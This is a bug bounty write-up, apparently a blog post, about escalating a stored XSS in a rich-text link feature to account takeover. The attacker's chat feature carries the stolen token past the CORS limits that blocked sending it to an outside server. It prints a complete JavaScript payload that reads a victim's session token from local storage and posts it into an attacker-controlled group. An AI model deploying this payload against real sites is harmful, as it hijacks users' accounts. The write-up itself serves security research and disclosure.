Stored XSS: Maximizing Your Profits

Introduction:

Hello everyone,

Today I’d like to share an interesting bug bounty tip with you. In the realm of hunting for vulnerabilities, it’s not uncommon to encounter numerous obstacles that hinder your progress. These challenges might obscure your vision of the situation. However, stepping out from this trap is the only way to succeed in this field. Thinking outside the box can lead to an increased impact on the vulnerability you’re exploring.

So allow me to show you a cool way to make Account Take Over (ATO) through feature that are already available to you that worked for me.

The problematic of XSS vulnerabilities:

I find satisfaction in exploring the depths of XSS because it’s often perceived as a low-hanging fruit. While some may consider it a mere inconvenience, I see it as an opportunity to demonstrate the potential for more significant impact. In my experience, I always put the effort to leverage XSS findings and demonstrating the true potential of the vulnerability.

Take, for example, the scenario detailed in this write-up: Strange Stored XSS

In a recent exploration of a private bug bounty program, I identified an opportunity to insert a malicious XSS through the “add link” feature provided by a RichText third-party library. The feature wasn’t sanitized correctly. I thought that even if I succeed to execute something it will be a Self-XSS. But it was not !

At first, I tried the classic way to exploit this but I encountered two significant problems:

CORS (Cross-Origin Resource Sharing) Restrictions: The page had CORS in place, preventing me from sending data to an external server.
Secure Cookie Header: The presence of a secure cookie header in the headers posed a challenge, making it difficult to bypass and send data through the typical XSS exploitation route.

The Exploitation – The way out:

So, sending the session token using known method is not possible. I sought an alternative method that took me a while to find. I analysed every endpoint searching for a feature that I could use to my advantage. After identifying all endpoints responsible to form groups and chat, a plan started to take shape. To achieve an Account Take Over (ATO) I will follow these steps:

Create a group and note the group ID.
Develop a JavaScript payload with the following tasks:
- Force the victim to join the pre-created group by clicking on a link.
- Extract the session token from the browser Local Storage
Send the session token through the chat feature when the victim successfully joined the group.

This way, I effectively turned their feature against them and made my XSS exploitation work seamlessly.

Initially categorized as a medium-severity bug, it was a higher severity rating due to its significant impact, since it’s leading to an account takeover. Moreover, successfully evading the CORS mechanism using the chat feature added an extra layer of complexity to the exploit.

Remember, the most impactful discoveries often emerge when you creatively leverage existing features to your advantage. Following the clarification, I received positive feedback from the Triager.

After explaining things again in more clear way. I got a positive feedback from the Triager.

The JS Payload:

The final payload that I used after converting it to Base64 and wrap it with “atob()” function:

var token = localStorage.getItem('token');
var c = document.cookie;
var req = new XMLHttpRequest();

req.open('POST', 'https://redacted.com/GROUP_ID/join/INVITE_CODE', true);
req.setRequestHeader('Authorization', 'Bearer ' + token);
req.withCredentials = true;
req.onreadystatechange = function() {
    if (req.readyState === 4 && req.status === 200) {
        var req2 = new XMLHttpRequest();
        req2.open('POST', 'https://redacted.com/group/GROUP_ID/posts', true);
        req2.setRequestHeader('Authorization', 'Bearer ' + localStorage.getItem('token'));
        req2.setRequestHeader('content-type', 'application/json');
        req2.withCredentials = true;
        var data = JSON.stringify({
            groupId: "GROUP_ID",
            content: token
        });
        req2.send(data);
    }
};
req.send(null);

I’m unable to disclose more details as this involves a private program, and I must adhere to confidentiality guidelines. The nature of the vulnerabilities discovered and the subsequent exploits must remain restricted due to the sensitivity of the information.

Conclusion:

In conclusion, I know that I was lucky in this because if the Chat feature was not there I won’t be able to exploit this.

This bug bounty tip showed the importance of persistence and creative thinking in overcoming some obstacles that can be easy to bypass. While initially confronted with CORS restrictions and a secure cookie header, diving deeper into the application opened an opportunity to exploit existing features. By leveraging the group and chat functionalities, I managed to elevate the severity of the XSS vulnerability, turning their own features against them. This experience highlight the importance of exploration, adaptability, and a willingness to think outside the box in the realm of cybersecurity.

Happy hunting, and may your endeavors lead to greater insights and advancements in the bug bounty world.